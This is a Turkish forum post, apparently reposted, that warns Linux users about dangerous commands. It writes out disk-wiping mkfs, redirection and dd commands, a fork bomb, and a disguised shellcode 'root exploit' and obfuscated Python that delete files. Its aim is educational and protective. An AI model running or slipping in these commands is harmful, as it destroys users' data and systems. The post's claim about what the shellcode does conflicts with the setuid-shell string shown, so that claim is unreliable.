Tehlikeli Komutlar Part - 2(Son part)
Bu komut sisteminiz calisirken, calismakta olan sistem alanlari icin de islem yapacaktir. Yanlis bir parametre ve uygulama ile bir anda sisteminiz buhar olup gidebilir. Asagidaki komutlarin ardindan verilecek cihaz parametreleri (/dev/sdc, /dev/hda /dev/sda ..) ile belirtilen cihazlara birer bos dosya sistemi yerlesecektir...
mkfs
mkfs.ext3
mkfs (Make File System) komutu aslinda aldigi ek parametlerde belirtilen dosya sistemini kurmak icin bir "araci" komuttur. İkinci satirda oldugu gibi arkadan gelecek hedef alana ext3 dosya sistemi kurulacak Formatlanacaktir...
Benzeri olarak ham veri üzerinde calisan komutlarin yönlendirilmeleride tehlikeli sonuclar dogurabilir. Komut satirindan herhangi bir komutun ciktisini ">" ile belirli bir cihaza yönlendirebiliriz. Bu yönlendirmenin bir özelligi gönderilen verinin cihazin ilk bölümüne yazilmasidir.
Kendi yapisi ile uygun olup olmamasina bakmadan "ham" veriyi kabul eden cihazlarda bu beklenmedik sonuclara yol acacaktir...
Herhangibir_komut > /dev/hda
Bu sekilde hangi komut oldugu önemli olmadan ciktiyi /dev/hda cihazina yani ilk sabit diskimizin basindaki ilk bayttan itibaren olan bölüme yazmis olacagiz. Oysa burada belirli formatta olmasi gereken "boot sektörü" ve benzeri veriler bulunmasi gerekmektedir.
Gelisi güzel olarak yazilan bu veriler sabit diskimizi bir anda kullanilamaz hale getirecektir. Hemen belirtelim bu islem sabit diskimize fiziksel bir zarar vermez veeger bir sekilde verileri kurtarmamiz mümkün olmazsa, temiz bir sabit disk olarak kullanilabilir hale getirebiliriz.
# dd if=/dev/zero of=/dev/hda bs=1000 count=1000
Yukardaki komut ile bir baska Tehlikeli komutu kullanarak ilk sabit diskimizin baslangic bölümünü temizleyebiliriz.
Ya bu komutuda yanlislikla kullanirsak... Az önceki > ile yönlendirme isleminde oldugu gibi herhangi bir veriyi dd ile bir cihaza, mesela /dev/sda olarak bulunan ilk sabit diske yollarsak yine isleri karistiririz.
dd if=herhangi_bisey of=/dev/sda
Bu komut ile yukardakiler benzer bir sekilde herhangi_bisey /dev/sda’ya gönderilerek ilk basa yazilacaktir.
Bir baska tehlikeli islem ise "Fork Bombasi" olarak tabir edilen ve uygulandiginda sayisiz sürec baslatarak sistemi bogan bir komut kullanmaktir.
Bu islem sonucunda sistem cevap veremez hale gelebilir ve tek care olarak sistem kapatildiginda veri kayiplarindan tutunda belirsiz bircok isleme kadar cesitli hasarlar ile karsilasabiliriz.
Bash gibi bir kabuk ortaminda asagidaki komutun kullanilmasi ile benzer bir sonuc elde edilir..

){:|:&};:
Perl icin ise asagidaki komut yeterlidir.
fork while fork
Linux kurallara uyuldugu ve dikkatli davranildigi durumlarda cok güvenli bir isletim sistemidir. Ancak aksi hareketler bunu yikabilir. Yukarda belirtilen tehlikeli komutlar kontrolünüz disindaki kaynaklardan gelirse ne olur? Elbette sisteminizde beklenen hasar meydana gelir.
Bu Nedenle güvenilmeyen ve belirsiz kaynaklardan elinize gecen hicbir seyi kullanmamalisiniz. Hele hele bu bir program paketi yada bir betik ise on kat, yüz kat daha dikkatli olmamiz gerekiyor. Bugün belli basli Linux dagitimlarin kendi paket depolari bulunmaktadir.
Bu depolara giren paketler cok dikkatli incelemelerden gecmis ve güvenli olduklari tespit edilmis paketlerdir. Kurulum sirasinda eger sisteminiz ek bir güvenlik testi yapabiliyorsa daha da güvenli hale gelirler. (rpm paketlerinde oldugu gibi)
En iyi kural "Güvenmiyorsan ve süphen varsa kullanma" Kuralidir. Kaynagina güvenmediginiz hicbir seyi kullanmayin. Güvenilir kaynaklardan elde edeceginiz her türlü paketin de güvenlik testini yapmayi ihmal etmeyin. yukarda bahsedilen dagitimlarin depolari kendi güvenlik sistemlerine sahiptirler.
Gerek depolarin denetimi gerekse oralardan elde edilecek paketlerin denetimi icin gerekli araclar bulunmaktadir. En bilinen testlerden birisi md5sum testidir. İndirdiginiz iso dosyalarini bu testten gecirmeyi unutmayin.
Bazen ilk anda görülmeyen tehlikeler ile karsi karsiya kalabilirsiniz. Asagidaki kod buna bir örnek olarak ele alinabilir. Bu kod böyle bir kavrami ispat etmek icin yazilmistir. Kullaniciya bu kod calistirildiginda sudo tarafindan konsol olmadan root yetkilerine sahip olacagi belirtilmektedir. Elbette aslinda bu bir kandirmacadir...
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68"
"\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99"
"\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7"
"\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56"
"\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31"
"\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69"
"\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
Aslinda bu yukardakiler komut satirinda, rm -rf ~/ & islemini yaptirmaktadir. Elbette bunlari veri blogu icindeki hex bilgilerden anlamak pek mümkün degildir.
Söylenilene kanip da bunu calistiranlar kullanici haklarina göre ya da kullanici ana dizinlerinden yada root olarak calistirildiysa tüm sistemden olacaklardir.
Kandirma islemi icin cok yol bulunmaktadir. yukardaki sadece bir örnektedir. En iyisi güvenmediginiz, kaynagini ve ne yapacagini bilmedigiiz hicbir seye dokunmamak olacaktir.
Asagidaki örnek de yine benzeri bir kandirmayi bu sefer python dilinde yapmaktadir...
python -c ’import os; os.system("".join([chr(ord(i)-1) for i
in "sn!.sg!+"]))’
Bu islemin sonucuda rm -rf * ile ayni olacaktir.
Linux’ta yaygin olarak kullanilan veri paketi sistemlerinin basinda tar paketleri gelir. Bu paketler icinde ne olduguna bakilmaksizin kullanilmalari bazen tehlikeli yada istenmeyen sonuclara neden olabilir. Bir yerden elde edilen tar paketini bulundugu dizine acmak bu hatalarin basinda yer almaktadir.
Kullanilan tar paket’i icinden cikacak dosyalar ya da dizinler ile ayni acilacagi dizinde ayni isimde var olabilecek dosya ya da dizinler bulunursa bunlarin üzerlerine yazilacaktir. Bu nedenle tar paketlerini acmadan önce bos bir dizine kopyalamak prensib olarak ilk tercih edilen olmalidir...
Sıkıstırılmıs sekli ile tar paketleri tar.gz ya da tar.bz2 paketlerinin acilmasinda "Decompresyon - Genisletme" islemi uygulanir. Bazi durumlarda sıkıstırma oranlari cok yüksek olabilir. Sonucta genisletilen ve acilan paketten cikanlar sistemde bulunan alani tamamen doldurabilir. Böyle durumlar icin ise mümkünse acilidktan sonra ne kadar yer kaplayacaklarina bakmak ve sisteminiz yetersiz kalacaksa bu paketleri acmamak en iyisi olacaktir.
Register or
LoginBilin Ama Kullanmayın (:
Alıntıdır..